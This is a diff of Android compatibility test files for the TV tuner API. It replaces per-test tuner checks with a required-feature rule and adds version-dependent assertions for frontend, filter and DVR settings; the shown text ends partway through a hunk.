 import androidx.test.filters.SmallTest;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.RequiredFeatureRule;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.io.File;
 import java.io.RandomAccessFile;
 import java.util.concurrent.Executor;
 
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
 @RunWith(AndroidJUnit4.class)
 @SmallTest
 public class TunerDvrTest {
     private static final String TAG = "MediaTunerDvrTest";
 
+    @Rule
+    public RequiredFeatureRule featureRule = new RequiredFeatureRule(
+            PackageManager.FEATURE_TUNER);
+
     private Context mContext;
     private Tuner mTuner;
 
@@ -64,7 +70,6 @@
         mContext = InstrumentationRegistry.getTargetContext();
         InstrumentationRegistry
                 .getInstrumentation().getUiAutomation().adoptShellPermissionIdentity();
-        if (!hasTuner()) return;
         mTuner = new Tuner(mContext, null, 100);
     }
 
@@ -78,7 +83,6 @@
 
     @Test
     public void testDvrSettings() throws Exception {
-        if (!hasTuner()) return;
         DvrSettings settings = getDvrSettings();
 
         assertEquals(Filter.STATUS_DATA_READY, settings.getStatusMask());
@@ -90,7 +94,6 @@
 
     @Test
     public void testDvrRecorder() throws Exception {
-        if (!hasTuner()) return;
         DvrRecorder d = mTuner.openDvrRecorder(1000, getExecutor(), getRecordListener());
         assertNotNull(d);
         d.configure(getDvrSettings());
@@ -135,7 +138,6 @@
 
     @Test
     public void testDvrPlayback() throws Exception {
-        if (!hasTuner()) return;
         DvrPlayback d = mTuner.openDvrPlayback(1000, getExecutor(), getPlaybackListener());
         assertNotNull(d);
         d.configure(getDvrSettings());
diff --git a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerFilterTest.java b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerFilterTest.java
index 8c0472b..bde450f 100644
--- a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerFilterTest.java
+++ b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerFilterTest.java
@@ -17,12 +17,13 @@
 package android.media.tv.tuner.cts;
 
 import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 
 import android.content.Context;
+import android.content.pm.PackageManager;
 import android.media.tv.tuner.Tuner;
+import android.media.tv.tuner.TunerVersionChecker;
 import android.media.tv.tuner.filter.AlpFilterConfiguration;
 import android.media.tv.tuner.filter.AvSettings;
 import android.media.tv.tuner.filter.DownloadSettings;
@@ -40,9 +41,13 @@
 import androidx.test.filters.SmallTest;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.RequiredFeatureRule;
+
 import org.junit.After;
 import org.junit.Assert;
 import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -51,6 +56,10 @@
 public class TunerFilterTest {
     private static final String TAG = "MediaTunerFilterTest";
 
+    @Rule
+    public RequiredFeatureRule featureRule = new RequiredFeatureRule(
+            PackageManager.FEATURE_TUNER);
+
     private Context mContext;
     private Tuner mTuner;
 
@@ -59,7 +68,6 @@
         mContext = InstrumentationRegistry.getTargetContext();
         InstrumentationRegistry
                 .getInstrumentation().getUiAutomation().adoptShellPermissionIdentity();
-        if (!hasTuner()) return;
         mTuner = new Tuner(mContext, null, 100);
     }
 
@@ -73,19 +81,36 @@
 
     @Test
     public void testAvSettings() throws Exception {
-        if (!hasTuner()) return;
         AvSettings settings =
                 AvSettings
-                        .builder(Filter.TYPE_TS, true)
+                        .builder(Filter.TYPE_TS, true) // is Audio
                         .setPassthrough(false)
+                        .setAudioStreamType(AvSettings.AUDIO_STREAM_TYPE_MPEG1)
                         .build();
 
         assertFalse(settings.isPassthrough());
+        if (TunerVersionChecker.isHigherOrEqualVersionTo(TunerVersionChecker.TUNER_VERSION_1_1)) {
+            assertEquals(settings.getAudioStreamType(), AvSettings.AUDIO_STREAM_TYPE_MPEG1);
+        } else {
+            assertEquals(settings.getAudioStreamType(), AvSettings.AUDIO_STREAM_TYPE_UNDEFINED);
+        }
+
+        settings = AvSettings
+                .builder(Filter.TYPE_TS, false) // is Video
+                .setPassthrough(false)
+                .setVideoStreamType(AvSettings.VIDEO_STREAM_TYPE_MPEG1)
+                .build();
+
+        assertFalse(settings.isPassthrough());
+        if (TunerVersionChecker.isHigherOrEqualVersionTo(TunerVersionChecker.TUNER_VERSION_1_1)) {
+            assertEquals(settings.getVideoStreamType(), AvSettings.VIDEO_STREAM_TYPE_MPEG1);
+        } else {
+            assertEquals(settings.getVideoStreamType(), AvSettings.VIDEO_STREAM_TYPE_UNDEFINED);
+        }
     }
 
     @Test
     public void testDownloadSettings() throws Exception {
-        if (!hasTuner()) return;
         DownloadSettings settings =
                 DownloadSettings
                         .builder(Filter.TYPE_MMTP)
@@ -97,7 +122,6 @@
 
     @Test
     public void testPesSettings() throws Exception {
-        if (!hasTuner()) return;
         PesSettings settings =
                 PesSettings
                         .builder(Filter.TYPE_TS)
@@ -111,7 +135,6 @@
 
     @Test
     public void testRecordSettings() throws Exception {
-        if (!hasTuner()) return;
         RecordSettings settings =
                 RecordSettings
                         .builder(Filter.TYPE_TS)
@@ -119,28 +142,27 @@
                                 RecordSettings.TS_INDEX_FIRST_PACKET
                                         | RecordSettings.TS_INDEX_PRIVATE_DATA)
                         .setScIndexType(RecordSettings.INDEX_TYPE_SC)
-                        .setScIndexMask(RecordSettings.SC_INDEX_I_FRAME)
+                        .setScIndexMask(RecordSettings.SC_INDEX_B_SLICE)
                         .build();
 
         assertEquals(
                 RecordSettings.TS_INDEX_FIRST_PACKET | RecordSettings.TS_INDEX_PRIVATE_DATA,
                 settings.getTsIndexMask());
         assertEquals(RecordSettings.INDEX_TYPE_SC, settings.getScIndexType());
-        assertEquals(RecordSettings.SC_INDEX_I_FRAME, settings.getScIndexMask());
+        assertEquals(RecordSettings.SC_INDEX_B_SLICE, settings.getScIndexMask());
     }
 
     @Test
     public void testSectionSettingsWithSectionBits() throws Exception {
-        if (!hasTuner()) return;
         SectionSettingsWithSectionBits settings =
                 SectionSettingsWithSectionBits
                         .builder(Filter.TYPE_TS)
                         .setCrcEnabled(true)
                         .setRepeat(false)
                         .setRaw(false)
-                        .setFilter(new byte[] {2, 3, 4})
-                        .setMask(new byte[] {7, 6, 5, 4})
-                        .setMode(new byte[] {22, 55, 33})
+                        .setFilter(new byte[]{2, 3, 4})
+                        .setMask(new byte[]{7, 6, 5, 4})
+                        .setMode(new byte[]{22, 55, 33})
                         .build();
 
         assertTrue(settings.isCrcEnabled());
@@ -153,7 +175,6 @@
 
     @Test
     public void testSectionSettingsWithTableInfo() throws Exception {
-        if (!hasTuner()) return;
         SectionSettingsWithTableInfo settings =
                 SectionSettingsWithTableInfo
                         .builder(Filter.TYPE_TS)
@@ -173,7 +194,6 @@
 
     @Test
     public void testAlpFilterConfiguration() throws Exception {
-        if (!hasTuner()) return;
         AlpFilterConfiguration config =
                 AlpFilterConfiguration
                         .builder()
@@ -191,16 +211,16 @@
 
     @Test
     public void testIpFilterConfiguration() throws Exception {
-        if (!hasTuner()) return;
         IpFilterConfiguration config =
                 IpFilterConfiguration
                         .builder()
-                        .setSrcIpAddress(new byte[] {(byte) 0xC0, (byte) 0xA8, 0, 1})
-                        .setDstIpAddress(new byte[] {(byte) 0xC0, (byte) 0xA8, 3, 4})
+                        .setSrcIpAddress(new byte[]{(byte) 0xC0, (byte) 0xA8, 0, 1})
+                        .setDstIpAddress(new byte[]{(byte) 0xC0, (byte) 0xA8, 3, 4})
                         .setSrcPort(33)
                         .setDstPort(23)
                         .setPassthrough(false)
                         .setSettings(null)
+                        .setIpFilterContextId(1)
                         .build();
 
         assertEquals(Filter.TYPE_IP, config.getType());
@@ -212,11 +232,17 @@
         assertEquals(23, config.getDstPort());
         assertFalse(config.isPassthrough());
         assertEquals(null, config.getSettings());
+        if (!TunerVersionChecker.checkHigherOrEqualVersionTo(TunerVersionChecker.TUNER_VERSION_1_1,
+                TAG + ": testIpFilterConfiguration.setIpFilterContextId")) {
+            assertEquals(IpFilterConfiguration.INVALID_IP_FILTER_CONTEXT_ID,
+                    config.getIpFilterContextId());
+        } else {
+            assertEquals(1, config.getIpFilterContextId());
+        }
     }
 
     @Test
     public void testMmtpFilterConfiguration() throws Exception {
-        if (!hasTuner()) return;
         MmtpFilterConfiguration config =
                 MmtpFilterConfiguration
                         .builder()
@@ -231,7 +257,6 @@
 
     @Test
     public void testTlvFilterConfiguration() throws Exception {
-        if (!hasTuner()) return;
         TlvFilterConfiguration config =
                 TlvFilterConfiguration
                         .builder()
@@ -250,8 +275,6 @@
 
     @Test
     public void testTsFilterConfiguration() throws Exception {
-        if (!hasTuner()) return;
-
         PesSettings settings =
                 PesSettings
                         .builder(Filter.TYPE_TS)
diff --git a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerFrontendTest.java b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerFrontendTest.java
index 92e5539..9bd036a 100644
--- a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerFrontendTest.java
+++ b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerFrontendTest.java
@@ -16,12 +16,17 @@
 
 package android.media.tv.tuner.cts;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 
 import android.content.Context;
+import android.content.pm.PackageManager;
 import android.media.tv.tuner.Tuner;
+import android.media.tv.tuner.TunerVersionChecker;
 import android.media.tv.tuner.frontend.AnalogFrontendCapabilities;
 import android.media.tv.tuner.frontend.AnalogFrontendSettings;
 import android.media.tv.tuner.frontend.Atsc3FrontendCapabilities;
@@ -29,6 +34,8 @@
 import android.media.tv.tuner.frontend.Atsc3PlpSettings;
 import android.media.tv.tuner.frontend.AtscFrontendCapabilities;
 import android.media.tv.tuner.frontend.AtscFrontendSettings;
+import android.media.tv.tuner.frontend.DtmbFrontendCapabilities;
+import android.media.tv.tuner.frontend.DtmbFrontendSettings;
 import android.media.tv.tuner.frontend.DvbcFrontendCapabilities;
 import android.media.tv.tuner.frontend.DvbcFrontendSettings;
 import android.media.tv.tuner.frontend.DvbsCodeRate;
@@ -50,18 +57,28 @@
 import androidx.test.filters.SmallTest;
 import androidx.test.runner.AndroidJUnit4;
 
-import java.util.List;
+import com.android.compatibility.common.util.RequiredFeatureRule;
 
 import org.junit.After;
 import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
 @RunWith(AndroidJUnit4.class)
 @SmallTest
 public class TunerFrontendTest {
     private static final String TAG = "MediaTunerFrontendTest";
 
+    @Rule
+    public RequiredFeatureRule featureRule = new RequiredFeatureRule(
+            PackageManager.FEATURE_TUNER);
+
     private Context mContext;
     private Tuner mTuner;
 
@@ -70,7 +87,6 @@
         mContext = InstrumentationRegistry.getTargetContext();
         InstrumentationRegistry
                 .getInstrumentation().getUiAutomation().adoptShellPermissionIdentity();
-        if (!hasTuner()) return;
         mTuner = new Tuner(mContext, null, 100);
     }
 
@@ -84,25 +100,43 @@
 
     @Test
     public void testAnalogFrontendSettings() throws Exception {
-        if (!hasTuner()) return;
         AnalogFrontendSettings settings =
                 AnalogFrontendSettings
                         .builder()
                         .setFrequency(1)
                         .setSignalType(AnalogFrontendSettings.SIGNAL_TYPE_NTSC)
                         .setSifStandard(AnalogFrontendSettings.SIF_BG_NICAM)
+                        .setAftFlag(AnalogFrontendSettings.AFT_FLAG_TRUE)
                         .build();
 
+        if (TunerVersionChecker.isHigherOrEqualVersionTo(TunerVersionChecker.TUNER_VERSION_1_1)) {
+            settings.setSpectralInversion(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL);
+            settings.setEndFrequency(100);
+        } else {
+            settings.setSpectralInversion(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL);
+            settings.setEndFrequency(Tuner.INVALID_FRONTEND_SETTING_FREQUENCY);
+        }
+
         assertEquals(FrontendSettings.TYPE_ANALOG, settings.getType());
         assertEquals(1, settings.getFrequency());
         assertEquals(AnalogFrontendSettings.SIGNAL_TYPE_NTSC, settings.getSignalType());
         assertEquals(AnalogFrontendSettings.SIF_BG_NICAM, settings.getSifStandard());
+        assertEquals(AnalogFrontendSettings.AFT_FLAG_TRUE, settings.getAftFlag());
+        if (TunerVersionChecker.isHigherOrEqualVersionTo(TunerVersionChecker.TUNER_VERSION_1_1)) {
+            assertEquals(AnalogFrontendSettings.AFT_FLAG_TRUE, settings.getAftFlag());
+            assertEquals(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL,
+                    settings.getFrontendSpectralInversion());
+            assertEquals(100, settings.getEndFrequency());
+        } else {
+            assertEquals(AnalogFrontendSettings.AFT_FLAG_UNDEFINED, settings.getAftFlag());
+            assertEquals(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_UNDEFINED,
+                    settings.getFrontendSpectralInversion());
+            assertEquals(Tuner.INVALID_FRONTEND_SETTING_FREQUENCY, settings.getEndFrequency());
+        }
     }
 
     @Test
     public void testAtsc3FrontendSettings() throws Exception {
-        if (!hasTuner()) return;
-
         Atsc3PlpSettings plp1 =
                 Atsc3PlpSettings
                         .builder()
@@ -132,6 +166,9 @@
                         .setPlpSettings(new Atsc3PlpSettings[] {plp1, plp2})
                         .build();
 
+        settings.setSpectralInversion(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL);
+        settings.setEndFrequency(100);
+
         assertEquals(FrontendSettings.TYPE_ATSC3, settings.getType());
         assertEquals(2, settings.getFrequency());
         assertEquals(Atsc3FrontendSettings.BANDWIDTH_BANDWIDTH_6MHZ, settings.getBandwidth());
@@ -151,11 +188,20 @@
         assertEquals(Atsc3FrontendSettings.TIME_INTERLEAVE_MODE_HTI, plps[1].getInterleaveMode());
         assertEquals(Atsc3FrontendSettings.CODERATE_UNDEFINED, plps[1].getCodeRate());
         assertEquals(Atsc3FrontendSettings.FEC_LDPC_16K, plps[1].getFec());
+
+        if (TunerVersionChecker.isHigherOrEqualVersionTo(TunerVersionChecker.TUNER_VERSION_1_1)) {
+            assertEquals(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL,
+                    settings.getFrontendSpectralInversion());
+            assertEquals(100, settings.getEndFrequency());
+        } else {
+            assertEquals(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_UNDEFINED,
+                    settings.getFrontendSpectralInversion());
+            assertEquals(Tuner.INVALID_FRONTEND_SETTING_FREQUENCY, settings.getEndFrequency());
+        }
     }
 
     @Test
     public void testAtscFrontendSettings() throws Exception {
-        if (!hasTuner()) return;
         AtscFrontendSettings settings =
                 AtscFrontendSettings
                         .builder()
@@ -163,14 +209,25 @@
                         .setModulation(AtscFrontendSettings.MODULATION_MOD_8VSB)
                         .build();
 
+        settings.setSpectralInversion(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL);
+        settings.setEndFrequency(100);
+
         assertEquals(FrontendSettings.TYPE_ATSC, settings.getType());
         assertEquals(3, settings.getFrequency());
         assertEquals(AtscFrontendSettings.MODULATION_MOD_8VSB, settings.getModulation());
+        if (TunerVersionChecker.isHigherOrEqualVersionTo(TunerVersionChecker.TUNER_VERSION_1_1)) {
+            assertEquals(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL,
+                    settings.getFrontendSpectralInversion());
+            assertEquals(100, settings.getEndFrequency());
+        } else {
+            assertEquals(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_UNDEFINED,
+                    settings.getFrontendSpectralInversion());
+            assertEquals(Tuner.INVALID_FRONTEND_SETTING_FREQUENCY, settings.getEndFrequency());
+        }
     }
 
     @Test
     public void testDvbcFrontendSettings() throws Exception {
-        if (!hasTuner()) return;
         DvbcFrontendSettings settings =
                 DvbcFrontendSettings
                         .builder()
@@ -180,9 +237,15 @@
                         .setSymbolRate(3)
                         .setOuterFec(DvbcFrontendSettings.OUTER_FEC_OUTER_FEC_RS)
                         .setAnnex(DvbcFrontendSettings.ANNEX_B)
-                        .setSpectralInversion(DvbcFrontendSettings.SPECTRAL_INVERSION_NORMAL)
+                        .setTimeInterleaveMode(DvbcFrontendSettings.TIME_INTERLEAVE_MODE_AUTO)
+                        .setBandwidth(DvbcFrontendSettings.BANDWIDTH_5MHZ)
+                        // DvbcFrontendSettings.SpectralInversion is deprecated in Android 12. Use
+                        // FrontendSettings.FrontendSpectralInversion instead.
+                        .setSpectralInversion(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL)
                         .build();
 
+        settings.setEndFrequency(100);
+
         assertEquals(FrontendSettings.TYPE_DVBC, settings.getType());
         assertEquals(4, settings.getFrequency());
         assertEquals(DvbcFrontendSettings.MODULATION_MOD_32QAM, settings.getModulation());
@@ -190,14 +253,21 @@
         assertEquals(3, settings.getSymbolRate());
         assertEquals(DvbcFrontendSettings.OUTER_FEC_OUTER_FEC_RS, settings.getOuterFec());
         assertEquals(DvbcFrontendSettings.ANNEX_B, settings.getAnnex());
-        assertEquals(
-                DvbcFrontendSettings.SPECTRAL_INVERSION_NORMAL, settings.getSpectralInversion());
+        assertEquals(DvbcFrontendSettings.TIME_INTERLEAVE_MODE_AUTO,
+                settings.getTimeInterleaveMode());
+        assertEquals(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL,
+                settings.getSpectralInversion());
+        if (TunerVersionChecker.isHigherOrEqualVersionTo(TunerVersionChecker.TUNER_VERSION_1_1)) {
+            assertEquals(100, settings.getEndFrequency());
+            assertEquals(DvbcFrontendSettings.BANDWIDTH_5MHZ, settings.getBandwidth());
+        } else {
+            assertEquals(Tuner.INVALID_FRONTEND_SETTING_FREQUENCY, settings.getEndFrequency());
+            assertEquals(DvbcFrontendSettings.BANDWIDTH_UNDEFINED, settings.getBandwidth());
+        }
     }
 
     @Test
     public void testDvbsFrontendSettings() throws Exception {
-        if (!hasTuner()) return;
-
         DvbsCodeRate codeRate =
                 DvbsCodeRate
                         .builder()
@@ -219,8 +289,13 @@
                         .setInputStreamId(1)
                         .setStandard(DvbsFrontendSettings.STANDARD_S2)
                         .setVcmMode(DvbsFrontendSettings.VCM_MODE_MANUAL)
+                        .setScanType(DvbsFrontendSettings.SCAN_TYPE_DIRECT)
+                        .setCanHandleDiseqcRxMessage(true)
                         .build();
 
+        settings.setSpectralInversion(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL);
+        settings.setEndFrequency(100);
+
         assertEquals(FrontendSettings.TYPE_DVBS, settings.getType());
         assertEquals(5, settings.getFrequency());
         assertEquals(DvbsFrontendSettings.MODULATION_MOD_ACM, settings.getModulation());
@@ -230,6 +305,19 @@
         assertEquals(1, settings.getInputStreamId());
         assertEquals(DvbsFrontendSettings.STANDARD_S2, settings.getStandard());
         assertEquals(DvbsFrontendSettings.VCM_MODE_MANUAL, settings.getVcmMode());
+        if (TunerVersionChecker.isHigherOrEqualVersionTo(TunerVersionChecker.TUNER_VERSION_1_1)) {
+            assertEquals(DvbsFrontendSettings.SCAN_TYPE_DIRECT, settings.getScanType());
+            assertTrue(settings.canHandleDiseqcRxMessage());
+            assertEquals(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL,
+                    settings.getFrontendSpectralInversion());
+            assertEquals(100, settings.getEndFrequency());
+        } else {
+            assertEquals(DvbsFrontendSettings.SCAN_TYPE_UNDEFINED, settings.getScanType());
+            assertFalse(settings.canHandleDiseqcRxMessage());
+            assertEquals(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_UNDEFINED,
+                    settings.getFrontendSpectralInversion());
+            assertEquals(Tuner.INVALID_FRONTEND_SETTING_FREQUENCY, settings.getEndFrequency());
+        }
 
         DvbsCodeRate cr = settings.getCodeRate();
         assertNotNull(cr);
@@ -241,14 +329,13 @@
 
     @Test
     public void testDvbtFrontendSettings() throws Exception {
-        if (!hasTuner()) return;
         DvbtFrontendSettings settings =
                 DvbtFrontendSettings
                         .builder()
                         .setFrequency(6)
-                        .setTransmissionMode(DvbtFrontendSettings.TRANSMISSION_MODE_8K)
+                        .setTransmissionMode(DvbtFrontendSettings.TRANSMISSION_MODE_EXTENDED_32K)
                         .setBandwidth(DvbtFrontendSettings.BANDWIDTH_1_7MHZ)
-                        .setConstellation(DvbtFrontendSettings.CONSTELLATION_256QAM)
+                        .setConstellation(DvbtFrontendSettings.CONSTELLATION_16QAM_R)
                         .setHierarchy(DvbtFrontendSettings.HIERARCHY_4_NATIVE)
                         .setHighPriorityCodeRate(DvbtFrontendSettings.CODERATE_6_7)
                         .setLowPriorityCodeRate(DvbtFrontendSettings.CODERATE_2_3)
@@ -261,11 +348,12 @@
                         .setPlpGroupId(777)
                         .build();
 
+        settings.setSpectralInversion(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL);
+        settings.setEndFrequency(100);
+
         assertEquals(FrontendSettings.TYPE_DVBT, settings.getType());
         assertEquals(6, settings.getFrequency());
-        assertEquals(DvbtFrontendSettings.TRANSMISSION_MODE_8K, settings.getTransmissionMode());
         assertEquals(DvbtFrontendSettings.BANDWIDTH_1_7MHZ, settings.getBandwidth());
-        assertEquals(DvbtFrontendSettings.CONSTELLATION_256QAM, settings.getConstellation());
         assertEquals(DvbtFrontendSettings.HIERARCHY_4_NATIVE, settings.getHierarchy());
         assertEquals(DvbtFrontendSettings.CODERATE_6_7, settings.getHighPriorityCodeRate());
         assertEquals(DvbtFrontendSettings.CODERATE_2_3, settings.getLowPriorityCodeRate());
@@ -276,11 +364,25 @@
         assertEquals(DvbtFrontendSettings.PLP_MODE_MANUAL, settings.getPlpMode());
         assertEquals(333, settings.getPlpId());
         assertEquals(777, settings.getPlpGroupId());
+        if (TunerVersionChecker.isHigherOrEqualVersionTo(TunerVersionChecker.TUNER_VERSION_1_1)) {
+            assertEquals(DvbtFrontendSettings.TRANSMISSION_MODE_EXTENDED_32K,
+                    settings.getTransmissionMode());
+            assertEquals(DvbtFrontendSettings.CONSTELLATION_16QAM_R, settings.getConstellation());
+            assertEquals(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL,
+                    settings.getFrontendSpectralInversion());
+            assertEquals(100, settings.getEndFrequency());
+        } else {
+            assertEquals(DvbtFrontendSettings.TRANSMISSION_MODE_UNDEFINED,
+                    settings.getTransmissionMode());
+            assertEquals(DvbtFrontendSettings.CONSTELLATION_UNDEFINED, settings.getConstellation());
+            assertEquals(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_UNDEFINED,
+                    settings.getFrontendSpectralInversion());
+            assertEquals(Tuner.INVALID_FRONTEND_SETTING_FREQUENCY, settings.getEndFrequency());
+        }
     }
 
     @Test
     public void testIsdbs3FrontendSettings() throws Exception {
-        if (!hasTuner()) return;
         Isdbs3FrontendSettings settings =
                 Isdbs3FrontendSettings
                         .builder()
@@ -293,6 +395,9 @@
                         .setRolloff(Isdbs3FrontendSettings.ROLLOFF_0_03)
                         .build();
 
+        settings.setSpectralInversion(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL);
+        settings.setEndFrequency(100);
+
         assertEquals(FrontendSettings.TYPE_ISDBS3, settings.getType());
         assertEquals(7, settings.getFrequency());
         assertEquals(2, settings.getStreamId());
@@ -301,11 +406,19 @@
         assertEquals(Isdbs3FrontendSettings.CODERATE_1_3, settings.getCodeRate());
         assertEquals(555, settings.getSymbolRate());
         assertEquals(Isdbs3FrontendSettings.ROLLOFF_0_03, settings.getRolloff());
+        if (TunerVersionChecker.isHigherOrEqualVersionTo(TunerVersionChecker.TUNER_VERSION_1_1)) {
+            assertEquals(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL,
+                    settings.getFrontendSpectralInversion());
+            assertEquals(100, settings.getEndFrequency());
+        } else {
+            assertEquals(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_UNDEFINED,
+                    settings.getFrontendSpectralInversion());
+            assertEquals(Tuner.INVALID_FRONTEND_SETTING_FREQUENCY, settings.getEndFrequency());
+        }
     }
 
     @Test
     public void testIsdbsFrontendSettings() throws Exception {
-        if (!hasTuner()) return;
         IsdbsFrontendSettings settings =
                 IsdbsFrontendSettings
                         .builder()
@@ -318,6 +431,9 @@
                         .setRolloff(IsdbsFrontendSettings.ROLLOFF_0_35)
                         .build();
 
+        settings.setSpectralInversion(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL);
+        settings.setEndFrequency(100);
+
         assertEquals(FrontendSettings.TYPE_ISDBS, settings.getType());
         assertEquals(8, settings.getFrequency());
         assertEquals(3, settings.getStreamId());
@@ -327,11 +443,19 @@
         assertEquals(IsdbsFrontendSettings.CODERATE_3_4, settings.getCodeRate());
         assertEquals(667, settings.getSymbolRate());
         assertEquals(IsdbsFrontendSettings.ROLLOFF_0_35, settings.getRolloff());
+        if (TunerVersionChecker.isHigherOrEqualVersionTo(TunerVersionChecker.TUNER_VERSION_1_1)) {
+            assertEquals(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL,
+                    settings.getFrontendSpectralInversion());
+            assertEquals(100, settings.getEndFrequency());
+        } else {
+            assertEquals(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_UNDEFINED,
+                    settings.getFrontendSpectralInversion());
+            assertEquals(Tuner.INVALID_FRONTEND_SETTING_FREQUENCY, settings.getEndFrequency());
+        }
     }
 
     @Test
     public void testIsdbtFrontendSettings() throws Exception {
-        if (!hasTuner()) return;
         IsdbtFrontendSettings settings =
                 IsdbtFrontendSettings
                         .builder()
@@ -344,6 +468,9 @@
                         .setServiceAreaId(10)
                         .build();
 
+        settings.setSpectralInversion(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL);
+        settings.setEndFrequency(100);
+
         assertEquals(FrontendSettings.TYPE_ISDBT, settings.getType());
         assertEquals(9, settings.getFrequency());
         assertEquals(IsdbtFrontendSettings.MODULATION_MOD_64QAM, settings.getModulation());
@@ -352,15 +479,60 @@
         assertEquals(DvbtFrontendSettings.CODERATE_7_8, settings.getCodeRate());
         assertEquals(DvbtFrontendSettings.GUARD_INTERVAL_1_4, settings.getGuardInterval());
         assertEquals(10, settings.getServiceAreaId());
+        if (TunerVersionChecker.isHigherOrEqualVersionTo(TunerVersionChecker.TUNER_VERSION_1_1)) {
+            assertEquals(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL,
+                    settings.getFrontendSpectralInversion());
+            assertEquals(100, settings.getEndFrequency());
+        } else {
+            assertEquals(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_UNDEFINED,
+                    settings.getFrontendSpectralInversion());
+            assertEquals(Tuner.INVALID_FRONTEND_SETTING_FREQUENCY, settings.getEndFrequency());
+        }
+    }
+
+    @Test
+    public void testDtmbFrontendSettings() throws Exception {
+        if (!TunerVersionChecker.checkHigherOrEqualVersionTo(TunerVersionChecker.TUNER_VERSION_1_1,
+                TAG + ": testDtmbFrontendSettings")) {
+            return;
+        }
+        DtmbFrontendSettings settings =
+                DtmbFrontendSettings
+                        .builder()
+                        .setFrequency(6)
+                        .setModulation(DtmbFrontendSettings.MODULATION_CONSTELLATION_4QAM)
+                        .setCodeRate(DtmbFrontendSettings.CODERATE_2_5)
+                        .setTransmissionMode(DtmbFrontendSettings.TRANSMISSION_MODE_C1)
+                        .setBandwidth(DtmbFrontendSettings.BANDWIDTH_8MHZ)
+                        .setTimeInterleaveMode(
+                                DtmbFrontendSettings.TIME_INTERLEAVE_MODE_TIMER_INT_240)
+                        .setGuardInterval(DtmbFrontendSettings.GUARD_INTERVAL_PN_945_VARIOUS)
+                        .build();
+        assertEquals(FrontendSettings.TYPE_DTMB, settings.getType());
+        assertEquals(6, settings.getFrequency());
+        assertEquals(DtmbFrontendSettings.TRANSMISSION_MODE_C1, settings.getTransmissionMode());
+        assertEquals(DtmbFrontendSettings.BANDWIDTH_8MHZ, settings.getBandwidth());
+        assertEquals(DtmbFrontendSettings.MODULATION_CONSTELLATION_4QAM, settings.getModulation());
+        assertEquals(DtmbFrontendSettings.TIME_INTERLEAVE_MODE_TIMER_INT_240,
+                settings.getTimeInterleaveMode());
+        assertEquals(DtmbFrontendSettings.CODERATE_2_5, settings.getCodeRate());
+        assertEquals(DtmbFrontendSettings.GUARD_INTERVAL_PN_945_VARIOUS,
+                settings.getGuardInterval());
     }
 
     @Test
     public void testFrontendInfo() throws Exception {
-        if (!hasTuner()) return;
         List<Integer> ids = mTuner.getFrontendIds();
+        List<FrontendInfo> infos = mTuner.getAvailableFrontendInfos();
+        Map<Integer, FrontendInfo> infoMap = new HashMap<>();
+        for (FrontendInfo info : infos) {
+            infoMap.put(info.getId(), info);
+        }
         for (int id : ids) {
             FrontendInfo info = mTuner.getFrontendInfoById(id);
+            FrontendInfo infoFromMap = infoMap.get(id);
             assertNotNull(info);
+            assertThat(info).isEqualTo(infoFromMap);
             assertEquals(id, info.getId());
             assertTrue(info.getFrequencyRange().getLower() > 0);
             assertTrue(info.getSymbolRateRange().getLower() >= 0);
@@ -369,7 +541,9 @@
             info.getStatusCapabilities();
 
             FrontendCapabilities caps = info.getFrontendCapabilities();
-            assertNotNull(caps);
+            if (info.getType() <= FrontendSettings.TYPE_ISDBT) {
+                assertNotNull(caps);
+            }
             switch(info.getType()) {
                 case FrontendSettings.TYPE_ANALOG:
                     testAnalogFrontendCapabilities(caps);
@@ -398,10 +572,15 @@
